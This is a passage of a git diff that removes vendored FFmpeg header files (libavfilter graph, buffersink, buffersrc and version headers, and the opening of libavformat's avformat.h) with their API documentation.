allocated AVFilterInOut on success, NULL on failure. - */ -AVFilterInOut *avfilter_inout_alloc(void); - -/** - * Free the supplied list of AVFilterInOut and set *inout to NULL. - * If *inout is NULL, do nothing. - */ -void avfilter_inout_free(AVFilterInOut **inout); - -/** - * Add a graph described by a string to a graph. - * - * @note The caller must provide the lists of inputs and outputs, - * which therefore must be known before calling the function. - * - * @note The inputs parameter describes inputs of the already existing - * part of the graph; i.e. from the point of view of the newly created - * part, they are outputs. Similarly the outputs parameter describes - * outputs of the already existing filters, which are provided as - * inputs to the parsed filters. - * - * @param graph the filter graph where to link the parsed graph context - * @param filters string to be parsed - * @param inputs linked list to the inputs of the graph - * @param outputs linked list to the outputs of the graph - * @return zero on success, a negative AVERROR code on error - */ -int avfilter_graph_parse(AVFilterGraph *graph, const char *filters, - AVFilterInOut *inputs, AVFilterInOut *outputs, - void *log_ctx); - -/** - * Add a graph described by a string to a graph. - * - * In the graph filters description, if the input label of the first - * filter is not specified, "in" is assumed; if the output label of - * the last filter is not specified, "out" is assumed. - * - * @param graph the filter graph where to link the parsed graph context - * @param filters string to be parsed - * @param inputs pointer to a linked list to the inputs of the graph, may be NULL. - * If non-NULL, *inputs is updated to contain the list of open inputs - * after the parsing, should be freed with avfilter_inout_free(). - * @param outputs pointer to a linked list to the outputs of the graph, may be NULL. - * If non-NULL, *outputs is updated to contain the list of open outputs - * after the parsing, should be freed with avfilter_inout_free(). - * @return non negative on success, a negative AVERROR code on error - */ -int avfilter_graph_parse_ptr(AVFilterGraph *graph, const char *filters, - AVFilterInOut **inputs, AVFilterInOut **outputs, - void *log_ctx); - -/** - * Add a graph described by a string to a graph. - * - * @param[in] graph the filter graph where to link the parsed graph context - * @param[in] filters string to be parsed - * @param[out] inputs a linked list of all free (unlinked) inputs of the - * parsed graph will be returned here. It is to be freed - * by the caller using avfilter_inout_free(). - * @param[out] outputs a linked list of all free (unlinked) outputs of the - * parsed graph will be returned here. It is to be freed by the - * caller using avfilter_inout_free(). - * @return zero on success, a negative AVERROR code on error - * - * @note This function returns the inputs and outputs that are left - * unlinked after parsing the graph and the caller then deals with - * them. - * @note This function makes no reference whatsoever to already - * existing parts of the graph and the inputs parameter will on return - * contain inputs of the newly parsed part of the graph. Analogously - * the outputs parameter will contain outputs of the newly created - * filters. - */ -int avfilter_graph_parse2(AVFilterGraph *graph, const char *filters, - AVFilterInOut **inputs, - AVFilterInOut **outputs); - -/** - * Send a command to one or more filter instances. - * - * @param graph the filter graph - * @param target the filter(s) to which the command should be sent - * "all" sends to all filters - * otherwise it can be a filter or filter instance name - * which will send the command to all matching filters. - * @param cmd the command to send, for handling simplicity all commands must be alphanumeric only - * @param arg the argument for the command - * @param res a buffer with size res_size where the filter(s) can return a response. - * - * @returns >=0 on success otherwise an error code. - * AVERROR(ENOSYS) on unsupported commands - */ -int avfilter_graph_send_command(AVFilterGraph *graph, const char *target, const char *cmd, const char *arg, char *res, int res_len, int flags); - -/** - * Queue a command for one or more filter instances. - * - * @param graph the filter graph - * @param target the filter(s) to which the command should be sent - * "all" sends to all filters - * otherwise it can be a filter or filter instance name - * which will send the command to all matching filters. - * @param cmd the command to sent, for handling simplicity all commands must be alphanumeric only - * @param arg the argument for the command - * @param ts time at which the command should be sent to the filter - * - * @note As this executes commands after this function returns, no return code - * from the filter is provided, also AVFILTER_CMD_FLAG_ONE is not supported. - */ -int avfilter_graph_queue_command(AVFilterGraph *graph, const char *target, const char *cmd, const char *arg, int flags, double ts); - - -/** - * Dump a graph into a human-readable string representation. - * - * @param graph the graph to dump - * @param options formatting options; currently ignored - * @return a string, or NULL in case of memory allocation failure; - * the string must be freed using av_free - */ -char *avfilter_graph_dump(AVFilterGraph *graph, const char *options); - -/** - * Request a frame on the oldest sink link. - * - * If the request returns AVERROR_EOF, try the next. - * - * Note that this function is not meant to be the sole scheduling mechanism - * of a filtergraph, only a convenience function to help drain a filtergraph - * in a balanced way under normal circumstances. - * - * Also note that AVERROR_EOF does not mean that frames did not arrive on - * some of the sinks during the process. - * When there are multiple sink links, in case the requested link - * returns an EOF, this may cause a filter to flush pending frames - * which are sent to another sink link, although unrequested. - * - * @return the return value of ff_request_frame(), - * or AVERROR_EOF if all links returned AVERROR_EOF - */ -int avfilter_graph_request_oldest(AVFilterGraph *graph); - -/** - * @} - */ - -#endif /* AVFILTER_AVFILTER_H */ diff --git a/desktop_3230/FFmpeg/include/libavfilter/avfiltergraph.h b/desktop_3230/FFmpeg/include/libavfilter/avfiltergraph.h deleted file mode 100644 index b31d581..0000000 --- a/desktop_3230/FFmpeg/include/libavfilter/avfiltergraph.h +++ /dev/null @@ -1,28 +0,0 @@ -/* - * Filter graphs - * copyright (c) 2007 Bobby Bingham - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVFILTER_AVFILTERGRAPH_H -#define AVFILTER_AVFILTERGRAPH_H - -#include "avfilter.h" -#include "libavutil/log.h" - -#endif /* AVFILTER_AVFILTERGRAPH_H */ diff --git a/desktop_3230/FFmpeg/include/libavfilter/buffersink.h b/desktop_3230/FFmpeg/include/libavfilter/buffersink.h deleted file mode 100644 index e399b91..0000000 --- a/desktop_3230/FFmpeg/include/libavfilter/buffersink.h +++ /dev/null @@ -1,147 +0,0 @@ -/* - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVFILTER_BUFFERSINK_H -#define AVFILTER_BUFFERSINK_H - -/** - * @file - * @ingroup lavfi_buffersink - * memory buffer sink API for audio and video - */ - -#include "avfilter.h" - -/** - * @defgroup lavfi_buffersink Buffer sink API - * @ingroup lavfi - * @{ - */ - -/** - * Get a frame with filtered data from sink and put it in frame. - * - * @param ctx pointer to a buffersink or abuffersink filter context. - * @param frame pointer to an allocated frame that will be filled with data. - * The data must be freed using av_frame_unref() / av_frame_free() - * @param flags a combination of AV_BUFFERSINK_FLAG_* flags - * - * @return >= 0 in for success, a negative AVERROR code for failure. - */ -int av_buffersink_get_frame_flags(AVFilterContext *ctx, AVFrame *frame, int flags); - -/** - * Tell av_buffersink_get_buffer_ref() to read video/samples buffer - * reference, but not remove it from the buffer. This is useful if you - * need only to read a video/samples buffer, without to fetch it. - */ -#define AV_BUFFERSINK_FLAG_PEEK 1 - -/** - * Tell av_buffersink_get_buffer_ref() not to request a frame from its input. - * If a frame is already buffered, it is read (and removed from the buffer), - * but if no frame is present, return AVERROR(EAGAIN). - */ -#define AV_BUFFERSINK_FLAG_NO_REQUEST 2 - -/** - * Struct to use for initializing a buffersink context. - */ -typedef struct { - const enum AVPixelFormat *pixel_fmts; ///< list of allowed pixel formats, terminated by AV_PIX_FMT_NONE -} AVBufferSinkParams; - -/** - * Create an AVBufferSinkParams structure. - * - * Must be freed with av_free(). - */ -AVBufferSinkParams *av_buffersink_params_alloc(void); - -/** - * Struct to use for initializing an abuffersink context. - */ -typedef struct { - const enum AVSampleFormat *sample_fmts; ///< list of allowed sample formats, terminated by AV_SAMPLE_FMT_NONE - const int64_t *channel_layouts; ///< list of allowed channel layouts, terminated by -1 - const int *channel_counts; ///< list of allowed channel counts, terminated by -1 - int all_channel_counts; ///< if not 0, accept any channel count or layout - int *sample_rates; ///< list of allowed sample rates, terminated by -1 -} AVABufferSinkParams; - -/** - * Create an AVABufferSinkParams structure. - * - * Must be freed with av_free(). - */ -AVABufferSinkParams *av_abuffersink_params_alloc(void); - -/** - * Set the frame size for an audio buffer sink. - * - * All calls to av_buffersink_get_buffer_ref will return a buffer with - * exactly the specified number of samples, or AVERROR(EAGAIN) if there is - * not enough. The last buffer at EOF will be padded with 0. - */ -void av_buffersink_set_frame_size(AVFilterContext *ctx, unsigned frame_size); - -/** - * Get the frame rate of the input. - */ -AVRational av_buffersink_get_frame_rate(AVFilterContext *ctx); - -/** - * Get a frame with filtered data from sink and put it in frame. - * - * @param ctx pointer to a context of a buffersink or abuffersink AVFilter. - * @param frame pointer to an allocated frame that will be filled with data. - * The data must be freed using av_frame_unref() / av_frame_free() - * - * @return - * - >= 0 if a frame was successfully returned. - * - AVERROR(EAGAIN) if no frames are available at this point; more - * input frames must be added to the filtergraph to get more output. - * - AVERROR_EOF if there will be no more output frames on this sink. - * - A different negative AVERROR code in other failure cases. - */ -int av_buffersink_get_frame(AVFilterContext *ctx, AVFrame *frame); - -/** - * Same as av_buffersink_get_frame(), but with the ability to specify the number - * of samples read. This function is less efficient than - * av_buffersink_get_frame(), because it copies the data around. - * - * @param ctx pointer to a context of the abuffersink AVFilter. - * @param frame pointer to an allocated frame that will be filled with data. - * The data must be freed using av_frame_unref() / av_frame_free() - * frame will contain exactly nb_samples audio samples, except at - * the end of stream, when it can contain less than nb_samples. - * - * @return The return codes have the same meaning as for - * av_buffersink_get_samples(). - * - * @warning do not mix this function with av_buffersink_get_frame(). Use only one or - * the other with a single sink, not both. - */ -int av_buffersink_get_samples(AVFilterContext *ctx, AVFrame *frame, int nb_samples); - -/** - * @} - */ - -#endif /* AVFILTER_BUFFERSINK_H */ diff --git a/desktop_3230/FFmpeg/include/libavfilter/buffersrc.h b/desktop_3230/FFmpeg/include/libavfilter/buffersrc.h deleted file mode 100644 index 847c093..0000000 --- a/desktop_3230/FFmpeg/include/libavfilter/buffersrc.h +++ /dev/null @@ -1,129 +0,0 @@ -/* - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVFILTER_BUFFERSRC_H -#define AVFILTER_BUFFERSRC_H - -/** - * @file - * @ingroup lavfi_buffersrc - * Memory buffer source API. - */ - -#include "libavcodec/avcodec.h" -#include "avfilter.h" - -/** - * @defgroup lavfi_buffersrc Buffer source API - * @ingroup lavfi - * @{ - */ - -enum { - - /** - * Do not check for format changes. - */ - AV_BUFFERSRC_FLAG_NO_CHECK_FORMAT = 1, - - /** - * Immediately push the frame to the output. - */ - AV_BUFFERSRC_FLAG_PUSH = 4, - - /** - * Keep a reference to the frame. - * If the frame if reference-counted, create a new reference; otherwise - * copy the frame data. - */ - AV_BUFFERSRC_FLAG_KEEP_REF = 8, - -}; - -/** - * Get the number of failed requests. - * - * A failed request is when the request_frame method is called while no - * frame is present in the buffer. - * The number is reset when a frame is added. - */ -unsigned av_buffersrc_get_nb_failed_requests(AVFilterContext *buffer_src); - -/** - * Add a frame to the buffer source. - * - * @param ctx an instance of the buffersrc filter - * @param frame frame to be added. If the frame is reference counted, this - * function will make a new reference to it. Otherwise the frame data will be - * copied. - * - * @return 0 on success, a negative AVERROR on error - * - * This function is equivalent to av_buffersrc_add_frame_flags() with the - * AV_BUFFERSRC_FLAG_KEEP_REF flag. - */ -av_warn_unused_result -int av_buffersrc_write_frame(AVFilterContext *ctx, const AVFrame *frame); - -/** - * Add a frame to the buffer source. - * - * @param ctx an instance of the buffersrc filter - * @param frame frame to be added. If the frame is reference counted, this - * function will take ownership of the reference(s) and reset the frame. - * Otherwise the frame data will be copied. If this function returns an error, - * the input frame is not touched. - * - * @return 0 on success, a negative AVERROR on error. - * - * @note the difference between this function and av_buffersrc_write_frame() is - * that av_buffersrc_write_frame() creates a new reference to the input frame, - * while this function takes ownership of the reference passed to it. - * - * This function is equivalent to av_buffersrc_add_frame_flags() without the - * AV_BUFFERSRC_FLAG_KEEP_REF flag. - */ -av_warn_unused_result -int av_buffersrc_add_frame(AVFilterContext *ctx, AVFrame *frame); - -/** - * Add a frame to the buffer source. - * - * By default, if the frame is reference-counted, this function will take - * ownership of the reference(s) and reset the frame. This can be controlled - * using the flags. - * - * If this function returns an error, the input frame is not touched. - * - * @param buffer_src pointer to a buffer source context - * @param frame a frame, or NULL to mark EOF - * @param flags a combination of AV_BUFFERSRC_FLAG_* - * @return >= 0 in case of success, a negative AVERROR code - * in case of failure - */ -av_warn_unused_result -int av_buffersrc_add_frame_flags(AVFilterContext *buffer_src, - AVFrame *frame, int flags); - - -/** - * @} - */ - -#endif /* AVFILTER_BUFFERSRC_H */ diff --git a/desktop_3230/FFmpeg/include/libavfilter/version.h b/desktop_3230/FFmpeg/include/libavfilter/version.h deleted file mode 100644 index 1fe7757..0000000 --- a/desktop_3230/FFmpeg/include/libavfilter/version.h +++ /dev/null @@ -1,71 +0,0 @@ -/* - * Version macros. - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVFILTER_VERSION_H -#define AVFILTER_VERSION_H - -/** - * @file - * @ingroup lavfi - * Libavfilter version macros - */ - -#include "libavutil/version.h" - -#define LIBAVFILTER_VERSION_MAJOR 6 -#define LIBAVFILTER_VERSION_MINOR 31 -#define LIBAVFILTER_VERSION_MICRO 100 - -#define LIBAVFILTER_VERSION_INT AV_VERSION_INT(LIBAVFILTER_VERSION_MAJOR, \ - LIBAVFILTER_VERSION_MINOR, \ - LIBAVFILTER_VERSION_MICRO) -#define LIBAVFILTER_VERSION AV_VERSION(LIBAVFILTER_VERSION_MAJOR, \ - LIBAVFILTER_VERSION_MINOR, \ - LIBAVFILTER_VERSION_MICRO) -#define LIBAVFILTER_BUILD LIBAVFILTER_VERSION_INT - -#define LIBAVFILTER_IDENT "Lavfi" AV_STRINGIFY(LIBAVFILTER_VERSION) - -/** - * FF_API_* defines may be placed below to indicate public API that will be - * dropped at a future version bump. The defines themselves are not part of - * the public API and may change, break or disappear at any time. - */ - -#ifndef FF_API_OLD_FILTER_OPTS -#define FF_API_OLD_FILTER_OPTS (LIBAVFILTER_VERSION_MAJOR < 7) -#endif -#ifndef FF_API_OLD_FILTER_OPTS_ERROR -#define FF_API_OLD_FILTER_OPTS_ERROR (LIBAVFILTER_VERSION_MAJOR < 7) -#endif -#ifndef FF_API_AVFILTER_OPEN -#define FF_API_AVFILTER_OPEN (LIBAVFILTER_VERSION_MAJOR < 7) -#endif -#ifndef FF_API_AVFILTER_INIT_FILTER -#define FF_API_AVFILTER_INIT_FILTER (LIBAVFILTER_VERSION_MAJOR < 7) -#endif -#ifndef FF_API_OLD_FILTER_REGISTER -#define FF_API_OLD_FILTER_REGISTER (LIBAVFILTER_VERSION_MAJOR < 7) -#endif -#ifndef FF_API_NOCONST_GET_NAME -#define FF_API_NOCONST_GET_NAME (LIBAVFILTER_VERSION_MAJOR < 7) -#endif - -#endif /* AVFILTER_VERSION_H */ diff --git a/desktop_3230/FFmpeg/include/libavformat/avformat.h b/desktop_3230/FFmpeg/include/libavformat/avformat.h deleted file mode 100644 index 34bad43..0000000 --- a/desktop_3230/FFmpeg/include/libavformat/avformat.h +++ /dev/null @@ -1,2859 +0,0 @@ -/* - * copyright (c) 2001 Fabrice Bellard - * - * This file is part of FFmpeg. - * - * FFmpeg is free software; you can redistribute it and/or - * modify it under the terms of the GNU Lesser General Public - * License as published by the Free Software Foundation; either - * version 2.1 of the License, or (at your option) any later version. - * - * FFmpeg is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * Lesser General Public License for more details. - * - * You should have received a copy of the GNU Lesser General Public - * License along with FFmpeg; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#ifndef AVFORMAT_AVFORMAT_H -#define AVFORMAT_AVFORMAT_H - -/** - * @file - * @ingroup libavf - * Main libavformat public API header - */ - -/** - * @defgroup libavf I/O and Muxing/Demuxing Library - * @{ - * - * Libavformat (lavf) is a library for dealing with various media container - * formats. Its main two purposes are demuxing - i.e. splitting a media file - * into component streams, and the reverse process of muxing - writing supplied - * data in a specified container format. It also has an @ref lavf_io - * "I/O module" which supports a number of protocols for accessing the data (e.g. - * file, tcp, http and others). Before using lavf, you need to call - * av_register_all() to register all compiled muxers, demuxers and protocols. - * Unless you are absolutely sure you won't use libavformat's network - * capabilities, you should also call avformat_network_init(). - * - * A supported input format is described by an AVInputFormat struct, conversely - * an output format is described by AVOutputFormat. You can iterate over all - * registered input/output formats using the av_iformat_next() / - * av_oformat_next() functions. The protocols layer is not part of the public - * API, so you can only get the names of supported protocols with the - * avio_enum_protocols() function. - * - * Main lavf structure used for both muxing and demuxing is AVFormatContext, - * which exports all information about the file being read or written. As with - * most Libavformat structures, its size is not part of public ABI, so it cannot be - * allocated on stack or directly with av_malloc(). To create an - * AVFormatContext, use avformat_alloc_context() (some functions, like - * avformat_open_input() might do that for you). - * - * Most importantly an AVFormatContext contains: - * @li the @ref AVFormatContext.iformat "input" or @ref AVFormatContext.oformat - * "output" format. It is either autodetected or set by user for input; - * always set by user for output. - * @li an @ref AVFormatContext.streams "array" of AVStreams, which describe all - * elementary streams stored in the file. AVStreams are typically referred to - * using their index in this array. - * @li an @ref AVFormatContext.pb "I/O context". It is either opened by lavf or - * set by user for input, always set by user for output (unless you are dealing - * with an AVFMT_NOFILE format). - * - * @section lavf_options Passing options to (de)muxers - * It is possible to configure lavf muxers and demuxers using the @ref avoptions - * mechanism. Generic (format-independent) libavformat options are provided by - * AVFormatContext, they can be examined from a user program by calling - * av_opt_next() / av_opt_find() on an allocated AVFormatContext (or its AVClass - * from avformat_get_class()). Private (format-specific) options are provided by - * AVFormatContext.priv_data if and only if AVInputFormat.priv_class / - * AVOutputFormat.priv_class of the corresponding format struct is non-NULL. - * Further options may be provided by the @ref AVFormatContext.pb "I/O context", - * if its AVClass is non-NULL, and the protocols layer. See the discussion on - * nesting in @ref avoptions documentation to learn how to access those. - * - * @section urls - * URL strings in libavformat are made of a scheme/protocol, a ':', and a - * scheme specific string. URLs without a scheme and ':' used for local files - * are supported but deprecated. "file:" should be used for local files. - * - * It is important that the scheme string is not taken from untrusted - * sources without checks. - * - * Note that some schemes/protocols are quite powerful, allowing access to - * both local and remote files, parts of them, concatenations of them, local - * audio and video devices and so on. - * - * @defgroup lavf_decoding Demuxing - * @{ - * Demuxers read a media file and split it into chunks of data (@em packets). A - * @ref AVPacket "packet" contains one or more encoded frames which belongs to a - * single elementary stream. In the lavf API this process is represented by the - * avformat_open_input() function for opening a file, av_read_frame() for - * reading a single packet and finally avformat_close_input(), which does the - * cleanup. - * - * @section lavf_decoding_open Opening a media file - * The minimum information required to open a file is its URL, which - * is passed to avformat_open_input(), as in the following code: - * @code - * const char *url = "file:in.mp3"; - * AVFormatContext *s = NULL; - * int ret = avformat_open_input(&s, url, NULL, NULL); - * if (ret < 0) - * abort(); - * @endcode - * The above code attempts to allocate an AVFormatContext, open the - * specified file (autodetecting the format) and read the header, exporting the - * information stored there into s. Some formats do not have a header or do not - * store enough information there, so it is recommended that you call the - * avformat_find_stream_info() function which tries to read and decode a few - * frames to find missing information. - * - * In some cases you might want to preallocate an AVFormatContext yourself with - * avformat_alloc_context() and do some tweaking on it before passing it to - * avformat_open_input(). One such case is when you want to use custom functions - * for reading input data instead of lavf internal I/O layer. - * To do that, create your own AVIOContext with avio_alloc_context(), passing - * your reading callbacks to it. Then set the @em pb field of your - * AVFormatContext to newly created AVIOContext. - * - * Since the format of the opened file is in general not known until after - * avformat_open_input() has returned, it is not possible to set demuxer private - * options on a preallocated context. Instead, the options should be passed to - * avformat_open_input() wrapped in an AVDictionary: - * @code - * AVDictionary *options = NULL; - * av_dict_set(&options, "video_size", "640x480", 0); - * av_dict_set(&options, "pixel_format", "rgb24", 0); - * - * if (avformat_open_input(&s, url, NULL, &options) < 0) - * abort(); - * av_dict_free(&options); - * @endcode - * This code passes the private options 'video_size' and 'pixel_format' to the - * demuxer. They would be necessary for e.g. the rawvideo demuxer, since it - * cannot know how to interpret raw video data otherwise. If the format turns - * out to be something different than raw video, those options will not be - * recognized by the demuxer and therefore will not be applied. Such unrecognized - * options are then returned in the options dictionary (recognized options are - * consumed). The calling program can handle such unrecognized options as it - * wishes, e.g. - * @code - * AVDictionaryEntry *e; - * if (e = av_dict_get(options, "", NULL, AV_DICT_IGNORE_SUFFIX)) { - * fprintf(stderr, "Option %s not recognized by the demuxer.\n", e->key); - * abort(); - * } - * @endcode - * - * After you have finished reading the file, you must close it with - * avformat_close_input(). It will free everything associated with the file. - * - * @section lavf_decoding_read Reading from an opened file - * Reading data from an opened AVFormatContext is done by repeatedly calling - * av_read_frame() on it. Each call, if successful, will return an AVPacket - * containing encoded data for one AVStream, identified by - * AVPacket.stream_index. This packet may be passed straight into the libavcodec - * decoding functions avcodec_decode_video2(), avcodec_decode_audio4() or - * avcodec_decode_subtitle2() if the caller wishes to decode the data. - * - * AVPacket.pts, AVPacket.dts and AVPacket.duration timing information will be - * set if known. They may also be unset (i.e. AV_NOPTS_VALUE for - * pts/dts, 0 for duration) if the stream does not provide them. The timing - * information will be in AVStream.time_base units, i.e. it has to be - * multiplied by the timebase to convert them to seconds. - * - * If AVPacket.buf is set on the returned packet, then the packet is - * allocated dynamically and the user may keep it indefinitely. - * Otherwise, if AVPacket.buf is NULL, the packet data is backed by a - * static storage somewhere inside the demuxer and the packet is only valid - * until the next av_read_frame() call or closing the file. If the caller - * requires a longer lifetime, av_dup_packet() will make an av_malloc()ed copy - * of it. - * In both cases, the packet must be freed with av_packet_unref() when it is no - * longer needed. - * - * @section lavf_decoding_seek Seeking - * @} - * - * @defgroup lavf_encoding Muxing - * @{ - * Muxers take encoded data in the form of @ref AVPacket "AVPackets" and write - * it into files or other output bytestreams in the specified container format. - * - * The main API functions for muxing are avformat_write_header() for writing the - * file header, av_write_frame() / av_interleaved_write_frame() for writing the - * packets and av_write_trailer() for finalizing the file. - * - * At the beginning of the muxing process, the caller must first call - * avformat_alloc_context() to create a muxing context. The caller then sets up - * the muxer by filling the various fields in this context: - * - * - The @ref AVFormatContext.oformat "oformat" field must be set to select the - * muxer that will be used. - * - Unless the format is of the AVFMT_NOFILE type, the @ref AVFormatContext.pb - * "pb" field must be set to an opened IO context, either returned from - * avio_open2() or a custom one. - * - Unless the format is of the AVFMT_NOSTREAMS type, at least one stream must - * be created with the avformat_new_stream() function. The caller should fill - * the @ref AVStream.codec "stream codec context" information, such as the - * codec @ref AVCodecContext.codec_type "type", @ref AVCodecContext.codec_id - * "id" and other parameters (e.g. width / height, the pixel or sample format, - * etc.) as known. The @ref AVStream.time_base "stream timebase" should - * be set to the timebase that the caller desires to use for this stream (note - * that the timebase actually used by the muxer can be different, as will be - * described later). - * - It is advised to manually initialize only the relevant fields in - * AVCodecContext, rather than using @ref avcodec_copy_context() during - * remuxing: there is no guarantee that the codec context values remain valid - * for both input and output format contexts. - * - The caller may fill in additional information, such as @ref - * AVFormatContext.metadata "global" or @ref AVStream.metadata "per-stream" - * metadata, @ref AVFormatContext.chapters "chapters", @ref - * AVFormatContext.programs "programs", etc. as described in the - * AVFormatContext documentation. Whether such information will actually be - * stored in the output depends on what the container format and the muxer - * support. - * - * When the muxing context is fully set up, the caller must call - * avformat_write_header() to initialize the muxer internals and write the file - * header. Whether anything actually is written to the IO context at this step - * depends on the muxer, but this function must always be called. Any muxer - * private options must be passed in the options parameter to this function. - * - * The data is then sent to the muxer by repeatedly calling av_write_frame() or - * av_interleaved_write_frame() (consult those functions' documentation for - * discussion on the difference between them; only one of them may be used with - * a single muxing context, they should not be mixed). Do note that the timing - * information on the packets sent to the muxer must be in the corresponding - * AVStream's timebase. That timebase is set by the muxer (in the - * avformat_write_header() step) and may be different from the timebase - * requested by the caller. - * - * Once all the data has been written, the caller must call av_write_trailer() - * to flush any buffered packets and finalize the output file, then close the IO - * context (if any) and finally free the muxing context with - * avformat_free_context(). - * @} - * - * @defgroup lavf_io I/O Read/Write - * @{ - * @section lavf_io_dirlist Directory listing - * The directory listing API makes it possible to list files on remote servers. - * - * Some of possible use cases: - * - an "open file" dialog to choose files from a remote location, - * - a recursive media finder providing a player with an ability to play all - * files from a given directory. - * - * @subsection lavf_io_dirlist_open Opening a directory - * At first, a directory needs to be opened by calling avio_open_dir() - * supplied with a URL and, optionally, ::AVDictionary containing - * protocol-specific parameters. The function returns zero or positive - * integer and allocates AVIODirContext on success. - * - * @code - * AVIODirContext *ctx = NULL; - * if (avio_open_dir(&ctx, "smb://example.com/some_dir", NULL) < 0) { - * fprintf(stderr, "Cannot open directory.\n"); - * abort(); - * } - * @endcode - * - * This code tries to open a sample directory using smb protocol without - * any additional parameters. - * - * @subsection lavf_io_dirlist_read Reading entries - * Each directory's entry (i.e. file, another directory, anything else - * within ::AVIODirEntryType) is represented by AVIODirEntry. - * Reading consecutive entries from an opened AVIODirContext is done by - * repeatedly calling avio_read_dir() on it. Each call returns zero or - * positive integer if successful. Reading can be stopped right after the - * NULL entry has been read -- it means there are no entries left to be - * read. The following code reads all entries from a directory associated - * with ctx and prints their names to standard output. - * @code - * AVIODirEntry *entry = NULL; - * for (;;) { - * if (avio_read_dir(ctx, &entry) < 0) { - * fprintf(stderr, "Cannot list directory.\n"); - * abort(); - * } - * if (!entry) - * break; - * printf("%s\n", entry->name); - * avio_free_directory_entry(&entry); - * } - * @endcode - * @} - * - * @defgroup lavf_codec Demuxers - * @{ - * @defgroup lavf_codec_native Native Demuxers - * @{ - * @} - * @defgroup lavf_codec_wrappers External library wrappers - * @{ - * @} - * @} - * @defgroup lavf_protos I/O Protocols - * @{ - * @} - * @defgroup lavf_internal Internal - * @{ - * @} - * @} - * - */ - -#include -#include /* FILE */ -#include "libavcodec/avcodec.h" -#include "libavutil/dict.h" -#include "libavutil/log.h" - -#include "avio.h" -#include "libavformat/version.h" - -struct AVFormatContext; - -struct AVDeviceInfoList; -struct AVDeviceCapabilitiesQuery; - -/** - * @defgroup metadata_api Public Metadata API - * @{ - * @ingroup libavf - * The metadata API allows libavformat to export metadata tags to a client - * application when demuxing. Conversely it allows a client application to - * set metadata when muxing. - * - * Metadata is exported or set as pairs of key/value strings in the 'metadata' - * fields of the AVFormatContext, AVStream, AVChapter and AVProgram structs - * using the @ref lavu_dict "AVDictionary" API. Like all strings in FFmpeg, - * metadata is assumed to be UTF-8 encoded Unicode. Note that metadata - * exported by demuxers isn't checked to be valid UTF-8 in most cases. - * - * Important concepts to keep in mind: - * - Keys are unique; there can never be 2 tags with the same key. This is - * also meant semantically, i.e., a demuxer should not knowingly produce - * several keys that are literally different but semantically identical. - * E.g., key=Author5, key=Author6. In this example, all authors must be - * placed in the same tag. - * - Metadata is flat, not hierarchical; there are no subtags. If you - * want to store, e.g., the email address of the child of producer Alice - * and actor Bob, that could have key=alice_and_bobs_childs_email_address. - * - Several modifiers can be applied to the tag name. This is done by - * appending a dash character ('-') and the modifier name in the order - * they appear in the list below -- e.g. foo-eng-sort, not foo-sort-eng. - * - language -- a tag whose value is localized for a particular language - * is appended with the ISO 639-2/B 3-letter language code. - * For example: Author-ger=Michael, Author-eng=Mike - * The original/default language is in the unqualified "Author" tag. - * A demuxer should set a default if it sets any translated tag. - * - sorting -- a modified version of a tag that should be used for - * sorting will have '-sort' appended. E.g. artist="The Beatles", - * artist-sort="Beatles, The". - * - Some protocols and demuxers support metadata updates. After a successful - * call to av_read_packet(), AVFormatContext.event_flags or AVStream.event_flags - * will be updated to indicate if metadata changed. In order to detect metadata - * changes on a stream, you need to loop through all streams in the AVFormatContext - * and check their individual event_flags. - * - * - Demuxers attempt to export metadata in a generic format, however tags - * with no generic equivalents are left as they are stored in the container. - * Follows a list of generic tag names: - * - @verbatim - album -- name of the set this work belongs to - album_artist -- main creator of the set/album, if different from artist. - e.g. "Various Artists" for compilation albums. - artist -- main creator of the work - comment -- any additional description of the file. - composer -- who composed the work, if different from artist. - copyright -- name of copyright holder. - creation_time-- date when the file was created, preferably in ISO 8601. - date -- date when the work was created, preferably in ISO 8601. - disc -- number of a subset, e.g. disc in a multi-disc collection. - encoder -- name/settings of the software/hardware that produced the file. - encoded_by -- person/group who created the file. - filename -- original name of the file. - genre -- . - language -- main language in which 